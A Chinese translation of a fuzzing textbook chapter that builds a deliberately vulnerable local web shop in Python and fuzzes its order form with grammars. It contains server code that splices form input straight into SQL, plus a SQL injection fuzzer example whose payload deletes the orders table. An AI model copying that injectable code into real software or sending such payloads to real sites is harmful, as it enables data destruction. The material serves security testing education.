# 测试Web应用程序

> 原文： [https://www.fuzzingbook.org/html/WebFuzzer.html](https://www.fuzzingbook.org/html/WebFuzzer.html)

在本章中，我们探索如何为图形用户界面（GUI）生成测试，尤其是在Web界面上。 我们设置了一个（脆弱的）Web服务器并演示了如何系统地探索其行为-首先使用手写语法，然后使用从用户界面自动推断出的语法。 我们还将展示如何对这些服务器进行系统的攻击，特别是通过代码和SQL注入。

**前提条件**

*   本章中的技术利用[语法对](Grammars.html)进行模糊处理。
*   需要HTML和HTTP的基本知识。
*   SQL数据库的知识是有帮助的。

## 内容提要

要使用本章中提供的代码来[，请编写](Importing.html)

```py
>>> from [fuzzingbook.WebFuzzer](WebFuzzer.html) import <identifier>

```

然后利用以下功能。

本章提供了一个简单的（易受攻击的）Web服务器以及两个应用于其的实验性模糊测试器。

### 模糊Web表单

`WebFormFuzzer`演示了如何与Web表单进行交互。 给定具有Web表单的URL，它将自动提取产生URL的语法。 该URL包含所有表单元素的值。 支持仅限于GET表单和HTML表单元素的子集。

这是为我们易受攻击的Web服务器提取的语法：

```py
>>> web_form_fuzzer = WebFormFuzzer(httpd_url)
>>> web_form_fuzzer.grammar['<start>']
['<action>?<query>']
>>> web_form_fuzzer.grammar['<action>']
['/order']
>>> web_form_fuzzer.grammar['<query>']
['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']

```

使用它进行模糊处理会产生一条路径，其中所有表单值都已填充； 访问此路径的行为就像填写并提交表单一样。

```py
>>> web_form_fuzzer.fuzz()
'/order?item=lockset&name=%43+&email=+c%40_+c&city=%37b_4&zip=5&terms=on&submit='

```

重复调用`WebFormFuzzer.fuzz()`会一次又一次地调用该表单，每次具有不同的（模糊的）值。

### SQL注入攻击

`SQLInjectionFuzzer`是`WebFormFuzzer`的实验性扩展，其构造函数采用了额外的*有效负载*-一种要在服务器上注入并执行的SQL命令。 否则，其用法类似于`WebFormFuzzer`：

```py
>>> sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders")
>>> sql_fuzzer.fuzz()
"/order?item=lockset&name=+&email=0%404&city=+'+)%3b+DELETE+FROM+orders%3b+--&zip='+OR+1%3d1--'&terms=on&submit="

```

如您所见，要检索的路径包含编码为表单字段值之一的有效负载。

`SQLInjectionFuzzer`是有关如何构建恶意模糊测试的概念验证； 您应该研究并扩展其代码以实际使用它。

## Web用户界面

让我们从一个简单的例子开始。 我们想建立一个 *Web服务器*，使本书的读者可以购买fuzzingbook品牌的粉丝文章。 实际上，我们将为此目的使用现有的Web shop（或适当的框架）。 就本书而言，我们*基于Python库提供的HTTP服务器功能编写了自己的Web服务器*。

我们所有的Web服务器都定义在`HTTPRequestHandler`中，顾名思义，该服务器可处理任意Web页面请求。

```py
from [http.server](https://docs.python.org/3/library/http.server.html) import HTTPServer, BaseHTTPRequestHandler, HTTPStatus

```

```py
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    pass

```

### 接受订单

对于我们的Web服务器，我们需要许多网页：

*   我们想要一页客户可以下订单的页面。
*   我们需要一页确认订单的页面。
*   此外，我们需要页面显示错误消息，例如“找不到页面”。

我们从订购单开始。 字典`FUZZINGBOOK_SWAG`包含客户可以订购的商品以及详细说明：

```py
import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)

```

```py
FUZZINGBOOK_SWAG = {
    "tshirt": "One FuzzingBook T-Shirt",
    "drill": "One FuzzingBook Rotary Hammer",
    "lockset": "One FuzzingBook Lock Set"
}

```

这是订单的HTML代码。 从`FUZZINGBOOK_SWAG`动态创建用于选择要订购的赃物的菜单。 我们忽略了许多细节，例如精确的送货地址，付款方式，购物车等。

```py
HTML_ORDER_FORM = """
<html><body>
<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
 <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
 <p>
 Yes! Please send me at your earliest convenience
 <select name="item">
 """
# (We don't use h2, h3, etc. here as they interfere with the notebook table of contents)

for item in FUZZINGBOOK_SWAG:
    HTML_ORDER_FORM += \
        '<option value="{item}">{name}</option>\n'.format(item=item,
            name=FUZZINGBOOK_SWAG[item])

HTML_ORDER_FORM += """
 </select>
 <br>
 <table>
 <tr><td>
 <label for="name">Name: </label><input type="text" name="name">
 </td><td>
 <label for="email">Email: </label><input type="email" name="email"><br>
 </td></tr>
 <tr><td>
 <label for="city">City: </label><input type="text" name="city">
 </td><td>
 <label for="zip">ZIP Code: </label><input type="number" name="zip">
 </tr></tr>
 </table>
 <input type="checkbox" name="terms"><label for="terms">I have read
 the <a href="/terms">terms and conditions</a></label>.<br>
 <input type="submit" name="submit" value="Place order">
</p>
</form>
</body></html>
"""

```

订单如下所示：

```py
from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display

```

```py
from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import HTML

```

```py
HTML(HTML_ORDER_FORM)

```

<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">**Fuzzingbook Swag Order Form**

是! 请尽快给我发送邮件 <select name="item"><option value="tshirt">一件FuzzingBook T恤</option> <option value="drill">一件FuzzingBook旋转锤</option> <option value="lockset">一件FuzzingBook锁具</option></select>

| <label for="name">名称：</label> <input name="name" type="text"> | <label for="email">电子邮件：</label> <input name="email" type="email">
 |
| <label for="city">城市：</label> <input name="city" type="text"> | <label for="zip">邮政编码：</label> <input name="zip" type="number"> |

<input name="terms" type="checkbox"><label for="terms">I have read the [terms and conditions](/terms)</label>.
<input name="submit" type="submit" value="Place order"></form>

该表单尚无功能，因为它后面没有服务器。 按“下订单”将导致您到一个不存在的页面。

### 订单确认

获得订单后，我们将显示一个确认页面，该页面将使用之前提交的客户信息进行实例化。 这是HTML和渲染：

```py
HTML_ORDER_RECEIVED = """
<html><body>
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
 <strong id="title" style="font-size: x-large">Thank you for your Fuzzingbook Order!</strong>
 <p id="confirmation">
 We will send <strong>{item_name}</strong> to {name} in {city}, {zip}<br>
 A confirmation mail will be sent to {email}.
 </p>
 <p>
 Want more swag?  Use our <a href="/">order form</a>!
 </p>
</div>
</body></html>
"""

```

```py
HTML(HTML_ORDER_RECEIVED.format(item_name="One FuzzingBook Rotary Hammer",
                                name="Jane Doe",
                                email="doe@example.com",
                                city="Seattle",
                                zip="98104"))

```

**Thank you for your Fuzzingbook Order!**

我们将向西雅图的简·多伊（Jane Doe）发送**一本FuzzingBook旋转锤**，邮编：98104
，确认邮件将发送至doe@example.com。

要更多赃物吗？ 使用我们的[订单](/)！

### 条款

只有具有必要的法律法规的网站才能完整。 此页面显示一些条款和条件。

```py
HTML_TERMS_AND_CONDITIONS = """
<html><body>
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
 <strong id="title" style="font-size: x-large">Fuzzingbook Terms and Conditions</strong>
 <p>
 The content of this project is licensed under the
 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons
 Attribution-NonCommercial-ShareAlike 4.0 International License.</a>
 </p>
 <p>
 To place an order, use our <a href="/">order form</a>.
 </p>
</div>
</body></html>
"""

```

```py
HTML(HTML_TERMS_AND_CONDITIONS)

```

**Fuzzingbook Terms and Conditions**

该项目的内容已根据[知识共享署名-非商业性-相同方式共享国际许可4.0许可。](https://creativecommons.org/licenses/by-nc-sa/4.0/)

要下订单，请使用我们的[订单表格](/)。

## 储存订单

为了存储订单，我们利用存储在文件`orders.db`中的*数据库*。

```py
import [sqlite3](https://docs.python.org/3/library/sqlite3.html)
import [os](https://docs.python.org/3/library/os.html)

```

```py
ORDERS_DB = "orders.db"

```

为了与数据库交互，我们使用 *SQL命令*。 以下命令创建一个包含五个文本列的表格，其中包含项目，名称，电子邮件，城市和邮政编码-我们在HTML表单中也使用完全相同的字段。

```py
def init_db():
    if os.path.exists(ORDERS_DB):
        os.remove(ORDERS_DB)

    db_connection = sqlite3.connect(ORDERS_DB)
    db_connection.execute("DROP TABLE IF EXISTS orders")
    db_connection.execute("CREATE TABLE orders (item text, name text, email text, city text, zip text)")
    db_connection.commit()

    return db_connection

```

```py
db = init_db()

```

此时，数据库仍然为空：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[]

```

我们可以使用SQL `INSERT`命令添加条目：

```py
db.execute("INSERT INTO orders " +
           "VALUES ('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')")
db.commit()

```

这些值现在在数据库中：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')]

```

我们还可以再次从表中删除条目（例如，在完成订单后）：

```py
db.execute("DELETE FROM orders WHERE name = 'Walter White'")
db.commit()

```

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[]

```

### 处理HTTP请求

我们有一个订单和一个数据库； 现在我们需要一个将所有内容整合在一起的Web服务器。 Python `http.server`模块提供了构建简单HTTP服务器所需的一切。 `HTTPRequestHandler`是接收并处理HTTP请求的对象-特别是用于检索Web页面的`GET`请求。

我们实现了`do_GET()`方法，该方法基于给定的路径分支到服务于请求的Web页面。 请求路径`/`产生订单； 以`/order`开头的路径发送要处理的订单。 所有其他请求以`Page Not Found`消息结尾。

```py
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            # print("GET " + self.path)
            if self.path == "/":
                self.send_order_form()
            elif self.path.startswith("/order"):
                self.handle_order()
            elif self.path.startswith("/terms"):
                self.send_terms_and_conditions()
            else:
                self.not_found()
        except Exception:
            self.internal_server_error()

```

#### 订单

进入首页（即在`/`处获取页面）很简单：我们按照上面的定义去服务`html_order_form`。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_order_form(self):
        self.send_response(HTTPStatus.OK, "Place your order")
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(HTML_ORDER_FORM.encode("utf8"))

```

同样，我们可以发送条款和条件：

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_terms_and_conditions(self):
        self.send_response(HTTPStatus.OK, "Terms and Conditions")
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(HTML_TERMS_AND_CONDITIONS.encode("utf8"))

```

#### 处理订单

当用户单击订单表单上的`Submit`时，Web浏览器将创建并检索该表单的URL。

```py
<hostname>/order?field_1=value_1&field_2=value_2&field_3=value_3
```

其中每个`field_i`是HTML表单中字段的名称，而`value_i`是用户提供的值。 值使用我们在覆盖的[一章中看到的CGI编码-也就是说，空格转换为`+`，非数字或字母的字符转换为`%nn`，其中`nn` 是字符的十六进制值。](Coverage.html)

如果西雅图的Jane Doe [doe@example.com](mailto:doe@example.com) 订购了T恤，则这是浏览器创建的URL：

```py
<hostname>/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104
```

处理查询时，HTTP请求处理程序的属性`self.path`保留访问的路径-即`<hostname>`之后的所有内容。 辅助方法`get_field_values()`采用`self.path`并返回值的字典。

```py
import [urllib.parse](https://docs.python.org/3/library/urllib.parse.html)

```

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def get_field_values(self):
        # Note: this fails to decode non-ASCII characters properly
        query_string = urllib.parse.urlparse(self.path).query

        # fields is { 'item': ['tshirt'], 'name': ['Jane Doe'], ...}
        fields = urllib.parse.parse_qs(query_string, keep_blank_values=True)

        values = {}
        for key in fields:
            values[key] = fields[key][0]

        return values

```

方法`handle_order()`从URL中获取这些值，存储订单，然后返回确认订单的页面。 如果发生任何错误，它将发送内部服务器错误。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def handle_order(self):
        values = self.get_field_values()
        self.store_order(values)
        self.send_order_received(values)

```

存储订单利用了上面定义的数据库连接； 我们创建一个SQL命令实例化，该命令使用从URL中提取的值实例化。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def store_order(self, values):
        db = sqlite3.connect(ORDERS_DB)
        # The following should be one line
        sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
        self.log_message("%s", sql_command)
        db.executescript(sql_command)
        db.commit()

```

存储订单后，我们发送确认HTML页面，该页面再次用URL中的值实例化。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_order_received(self, values):
        # Should use html.escape()
        values["item_name"] = FUZZINGBOOK_SWAG[values["item"]]
        confirmation = HTML_ORDER_RECEIVED.format(**values).encode("utf8")

        self.send_response(HTTPStatus.OK, "Order received")
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(confirmation)

```

#### 其他HTTP命令

除了`GET`命令（可以完成所有繁重的工作）之外，HTTP服务器还可以支持其他HTTP命令。 我们支持`HEAD`命令，该命令返回网页的标题信息。 在我们的情况下，这始终为空。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def do_HEAD(self):
        # print("HEAD " + self.path)
        self.send_response(HTTPStatus.OK)
        self.send_header("Content-type", "text/html")
        self.end_headers()

```

### 错误处理

我们已经定义了用于提交和处理订单的页面； 现在，我们还需要几页来解决可能发生的错误。

#### 找不到页面

如果请求不存在的页面（即`/`或`/order`以外的任何页面），则会显示此页面。

```py
HTML_NOT_FOUND = """
<html><body>
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
 <strong id="title" style="font-size: x-large">Sorry.</strong>
 <p>
 This page does not exist.  Try our <a href="/">order form</a> instead.
 </p>
</div>
</body></html>
 """

```

```py
HTML(HTML_NOT_FOUND)

```

**Sorry.**

本页面不存在。 请改用我们的[订单](/)。

方法`not_found()`负责使用适当的HTTP状态代码将其发送出去。

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def not_found(self):
        self.send_response(HTTPStatus.NOT_FOUND, "Not found")

        self.send_header("Content-type", "text/html")
        self.end_headers()

        message = HTML_NOT_FOUND
        self.wfile.write(message.encode("utf8"))

```

#### 内部错误

显示此页面显示可能发生的任何内部错误。 出于诊断目的，我们将其包括故障功能的回溯。

```py
HTML_INTERNAL_SERVER_ERROR = """
<html><body>
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
 <strong id="title" style="font-size: x-large">Internal Server Error</strong>
 <p>
 The server has encountered an internal error.  Go to our <a href="/">order form</a>.
 <pre>{error_message}</pre>
 </p>
</div>
</body></html>
 """

```

```py
HTML(HTML_INTERNAL_SERVER_ERROR)

```

**Internal Server Error**

服务器遇到内部错误。 转到我们的[订单](/)。

```py
{error_message}
```

```py
import [sys](https://docs.python.org/3/library/sys.html)
import [traceback](https://docs.python.org/3/library/traceback.html)

```

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def internal_server_error(self):
        self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Error")

        self.send_header("Content-type", "text/html")
        self.end_headers()

        exc = traceback.format_exc()
        self.log_message("%s", exc.strip())

        message = HTML_INTERNAL_SERVER_ERROR.format(error_message=exc)
        self.wfile.write(message.encode("utf8"))

```

### 记录

我们的服务器在后台作为单独的进程运行，一直等待接收命令。 要查看其作用，我们实现了一种特殊的日志记录机制。 `httpd_message_queue`建立一个队列，一个进程（服务器）可以在其中存储Python对象，而另一个进程（笔记本）可以在其中检索它们。 我们使用它来传递来自服务器的日志消息，然后我们可以将其显示在笔记本中。

```py
from [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) import Queue

```

```py
HTTPD_MESSAGE_QUEUE = Queue()

```

让我们将两个消息放入队列：

```py
HTTPD_MESSAGE_QUEUE.put("I am another message")

```

```py
HTTPD_MESSAGE_QUEUE.put("I am one more message")

```

为了区分服务器消息与笔记本电脑的其他部分，我们对它们进行了特殊格式化：

```py
from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import rich_output, terminal_escape

```

```py
def display_httpd_message(message):
    if rich_output():
        display(
            HTML(
                '<pre style="background: NavajoWhite;">' +
                message +
                "</pre>"))
    else:
        print(terminal_escape(message))

```

```py
display_httpd_message("I am a httpd server message")

```

```py
I am a httpd server message
```

方法`print_httpd_messages()`打印到目前为止队列中累积的所有消息：

```py
def print_httpd_messages():
    while not HTTPD_MESSAGE_QUEUE.empty():
        message = HTTPD_MESSAGE_QUEUE.get()
        display_httpd_message(message)

```

```py
import [time](https://docs.python.org/3/library/time.html)

```

```py
time.sleep(1)
print_httpd_messages()

```

```py
I am another message
```

```py
I am one more message
```

使用`clear_httpd_messages()`，我们可以静默丢弃所有待处理的消息：

```py
def clear_httpd_messages():
    while not HTTPD_MESSAGE_QUEUE.empty():
        HTTPD_MESSAGE_QUEUE.get()

```

请求处理程序中的方法`log_message()`利用队列来存储其消息：

```py
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        message = ("%s - - [%s] %s\n" %
                   (self.address_string(),
                    self.log_date_time_string(),
                    format % args))
        HTTPD_MESSAGE_QUEUE.put(message)

```

在[雕刻](Carver.html)的章节中，我们引入了`webbrowser()`方法，该方法检索给定URL的内容。 现在，我们对其进行扩展，使其也可以打印出服务器生成的所有日志消息：

```py
import [requests](http://docs.python-requests.org/en/master/)

```

```py
def webbrowser(url, mute=False):
    """Download the http/https resource given by the URL"""
    import [requests](http://docs.python-requests.org/en/master/)  # for imports

    try:
        r = requests.get(url)
        contents = r.text
    finally:
        if not mute:
            print_httpd_messages()
        else:
            clear_httpd_messages()

    return contents

```

### 运行服务器

在完成所有这些定义之后，我们现在就可以启动并运行Web服务器了。 我们在*本地主机*上运行服务器-也就是说，同一台计算机也运行此笔记本。 我们检查是否有可访问的端口，并将结果URL放入之前创建的队列中。

```py
def run_httpd_forever(handler_class):
    host = "127.0.0.1"  # localhost IP
    for port in range(8800, 9000):
        httpd_address = (host, port)

        try:
            httpd = HTTPServer(httpd_address, handler_class)
            break
        except OSError:
            continue

    httpd_url = "http://" + host + ":" + repr(port)
    HTTPD_MESSAGE_QUEUE.put(httpd_url)
    httpd.serve_forever()

```

函数`start_httpd()`在一个单独的进程中启动服务器，我们使用`multiprocessing`模块开始该进程。 它从消息队列中检索其URL并返回它，以便我们可以开始与服务器对话。

```py
from [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) import Process

```

```py
def start_httpd(handler_class=SimpleHTTPRequestHandler):
    clear_httpd_messages()

    httpd_process = Process(target=run_httpd_forever, args=(handler_class,))
    httpd_process.start()

    httpd_url = HTTPD_MESSAGE_QUEUE.get()
    return httpd_process, httpd_url

```

现在让我们启动服务器并保存其URL：

```py
httpd_process, httpd_url = start_httpd()
httpd_url

```

```py
'http://127.0.0.1:8800'

```

### 与服务器交互

现在让我们访问刚刚创建的服务器。

#### 直接浏览器访问

如果您也在本地主机上运行Jupyter笔记本服务器，则现在可以直接通过给定的URL访问服务器。 单击下面的链接，即可在`httpd_url`中打开地址。

**注意**：仅当您在本地主机上运行Jupyter笔记本服务器时，此方法才有效。

```py
def print_url(url):
    if rich_output():
        display(HTML('<pre><a href="%s">%s</a></pre>' % (url, url)))
    else:
        print(terminal_escape(url))

```

```py
print_url(httpd_url)

```

```py
http://127.0.0.1:8800
```

更方便的是，您可以使用下面的窗口直接与服务器进行交互。

**Note**: This only works if you are running the Jupyter notebook server on the local host.

```py
HTML('<iframe src="' + httpd_url + '" ' +
     'width="100%" height="230"></iframe>')

```

交互之后，您可以检索服务器生成的消息：

```py
print_httpd_messages()

```

我们还可以看到数据库中下的任何订单：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[]

```

我们可以清除订单数据库：

```py
db.execute("DELETE FROM orders")
db.commit()

```

#### 检索主页

即使我们的浏览器无法直接与服务器交互，*笔记本*也可以。 例如，我们可以检索主页的内容并显示它们：

```py
contents = webbrowser(httpd_url)

```

```py
127.0.0.1 - - [21/May/2019 20:16:41] "GET / HTTP/1.1" 200 -

```

```py
HTML(contents)

```

<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">**Fuzzingbook Swag Order Form**

Yes! Please send me at your earliest convenience <select name="item"><option value="tshirt">One FuzzingBook T-Shirt</option> <option value="drill">One FuzzingBook Rotary Hammer</option> <option value="lockset">One FuzzingBook Lock Set</option></select>

| <label for="name">Name:</label> <input name="name" type="text"> | <label for="email">Email:</label> <input name="email" type="email">
 |
| <label for="city">City:</label> <input name="city" type="text"> | <label for="zip">ZIP Code:</label> <input name="zip" type="number"> |

<input name="terms" type="checkbox"><label for="terms">I have read the [terms and conditions](/terms)</label>.
<input name="submit" type="submit" value="Place order"></form>

#### 下订单

为了测试此表单，我们可以生成包含订单的URL，并让服务器处理它们。

`urljoin()`方法将基本网址（即我们服务器的网址）和路径（例如，指向我们订单的路径）组合在一起。

```py
from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urljoin, urlsplit

```

```py
urljoin(httpd_url, "/order?foo=bar")

```

```py
'http://127.0.0.1:8800/order?foo=bar'

```

使用`urljoin()`，我们可以创建一个完整的URL，该URL与提交订单时浏览器生成的URL相同。 如我们在生成的服务器日志中看到的那样，将该URL发送到浏览器会有效地下订单。

```py
contents = webbrowser(urljoin(httpd_url,
                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104"))

```

```py
127.0.0.1 - - [21/May/2019 20:16:41] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')

```

```py
127.0.0.1 - - [21/May/2019 20:16:41] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -

```

返回的网页确认订单：

```py
HTML(contents)

```

**Thank you for your Fuzzingbook Order!**

我们将把**一件FuzzingBook T恤**发送给位于98104西雅图的简·多伊（Jane Doe）
，确认邮件将发送至doe@example.com。

Want more swag? Use our [order form](/)!

订单也位于数据库中：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')]

```

#### 错误消息

我们还可以测试服务器是否正确响应了无效请求。 例如，正确处理不存在的页面：

```py
HTML(webbrowser(urljoin(httpd_url, "/some/other/path")))

```

```py
127.0.0.1 - - [21/May/2019 20:16:41] "GET /some/other/path HTTP/1.1" 404 -

```

**Sorry.**

This page does not exist. Try our [order form](/) instead.

您可能还记得我们还有一个有关内部服务器错误的页面。 我们可以让服务器生成此页面吗？ 为了找到答案，我们必须对服务器进行彻底的测试，这将在本章的其余部分中进行。

## 模糊输入形式

设置并启动服务器后，让我们现在进行系统地测试-首先使用预期值，然后使用较低的预期值。

### 用期望值[进行模糊处理](#Fuzzing-with-Expected-Values)

由于下订单都是通过创建适当的URL来完成的，因此我们定义了[语法](Grammars.html) `ORDER_GRAMMAR`来对订购URL进行编码。 它带有一些名称，电子邮件地址，城市和（随机）数字的示例值。

为了更轻松地定义成为URL一部分的字符串，我们定义了函数`cgi_encode()`，将一个字符串并自动编码为CGI：

```py
import [string](https://docs.python.org/3/library/string.html)

```

```py
def cgi_encode(s, do_not_encode=""):
    ret = ""
    for c in s:
        if (c in string.ascii_letters or c in string.digits
                or c in "$-_.+!*'()," or c in do_not_encode):
            ret += c
        elif c == ' ':
            ret += '+'
        else:
            ret += "%%%02x" % ord(c)
    return ret

```

```py
s = cgi_encode('Is "DOW30" down .24%?')
s

```

```py
'Is+%22DOW30%22+down+.24%25%3f'

```

可选参数`do_not_encode`允许我们从编码中跳过某些字符。 在对语法规则进行编码时，这很有用：

```py
cgi_encode("<string>@<string>", "<>")

```

```py
'<string>%40<string>'

```

`cgi_encode()`与[关于覆盖](Coverage.html)的一章中定义的`cgi_decode()`功能的完全对应：

```py
from [Coverage](Coverage.html) import cgi_decode  # minor dependency

```

```py
cgi_decode(s)

```

```py
'Is "DOW30" down .24%?'

```

现在来看语法。 我们使用`cgi_encode()`编码字符串：

```py
from [Grammars](Grammars.html) import crange, is_valid_grammar, syntax_diagram

```

```py
ORDER_GRAMMAR = {
    "<start>": ["<order>"],
    "<order>": ["/order?item=<item>&name=<name>&email=<email>&city=<city>&zip=<zip>"],
    "<item>": ["tshirt", "drill", "lockset"],
    "<name>": [cgi_encode("Jane Doe"), cgi_encode("John Smith")],
    "<email>": [cgi_encode("j.doe@example.com"), cgi_encode("j_smith@example.com")],
    "<city>": ["Seattle", cgi_encode("New York")],
    "<zip>": ["<digit>" * 5],
    "<digit>": crange('0', '9')
}

```

```py
assert is_valid_grammar(ORDER_GRAMMAR)

```

```py
syntax_diagram(ORDER_GRAMMAR)

```

```py
start

```

 <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">order</text></g></g></g></g></svg>

```py
order

```

 <svg class="railroad-diagram" height="62" viewBox="0 0 976.0 62" width="976.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="121.0" y="35">/order?item=</text></g> <g class="non-terminal"><text x="229.0" y="35">item</text></g> <g class="terminal"><text x="311.5" y="35">&name=</text></g> <g class="non-terminal"><text x="394.0" y="35">name</text></g> <g class="terminal"><text x="480.75" y="35">&email=</text></g> <g class="non-terminal"><text x="571.75" y="35">email</text></g> <g class="terminal"><text x="658.5" y="35">&city=</text></g> <g class="non-terminal"><text x="741.0" y="35">city</text></g> <g class="terminal"><text x="819.25" y="35">&zip=</text></g> <g class="non-terminal"><text x="893.25" y="35">zip</text></g></g></g></g></svg>

```py
item

```

 <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">tshirt</text></g></g> <g><g class="terminal"><text x="99.75" y="65">drill</text></g></g> <g><g class="terminal"><text x="99.75" y="95">lockset</text></g></g></g></g></svg>

```py
name

```

 <svg class="railroad-diagram" height="92" viewBox="0 0 225.0 92" width="225.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="112.5" y="35">Jane+Doe</text></g></g> <g><g class="terminal"><text x="112.5" y="65">John+Smith</text></g></g></g></g></svg>

```py
email

```

 <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="159.25" y="35">j.doe%40example.com</text></g></g> <g><g class="terminal"><text x="159.25" y="65">j_smith%40example.com</text></g></g></g></g></svg>

```py
city

```

 <svg class="railroad-diagram" height="92" viewBox="0 0 208.0 92" width="208.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="104.0" y="35">Seattle</text></g></g> <g><g class="terminal"><text x="104.0" y="65">New+York</text></g></g></g></g></svg>

```py
zip

```

 <svg class="railroad-diagram" height="62" viewBox="0 0 512.5 62" width="512.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="173.75" y="35">digit</text></g> <g class="non-terminal"><text x="256.25" y="35">digit</text></g> <g class="non-terminal"><text x="338.75" y="35">digit</text></g> <g class="non-terminal"><text x="421.25" y="35">digit</text></g></g></g></g></svg>

```py
digit

```

 <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>

使用我们的语法模糊器之一[，我们可以实例化此语法并生成URL：](GrammarFuzzer.iynb)

```py
from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer

```

```py
order_fuzzer = GrammarFuzzer(ORDER_GRAMMAR)
[order_fuzzer.fuzz() for i in range(5)]

```

```py
['/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=New+York&zip=42436',
 '/order?item=drill&name=John+Smith&email=j_smith%40example.com&city=New+York&zip=56213',
 '/order?item=drill&name=Jane+Doe&email=j_smith%40example.com&city=Seattle&zip=63628',
 '/order?item=drill&name=John+Smith&email=j.doe%40example.com&city=Seattle&zip=59538',
 '/order?item=drill&name=Jane+Doe&email=j_smith%40example.com&city=New+York&zip=41160']

```

将这些URL发送到服务器将正确处理它们：

```py
HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] INSERT INTO orders VALUES ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631')

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] "GET /order?item=lockset&name=Jane+Doe&email=j_smith%40example.com&city=Seattle&zip=16631 HTTP/1.1" 200 -

```

**Thank you for your Fuzzingbook Order!**

我们将把**一本FuzzingBook锁套**发送给西雅图的简·多伊（Jane Doe），16631
。确认邮件将发送至j_smith@example.com。

Want more swag? Use our [order form](/)!

```py
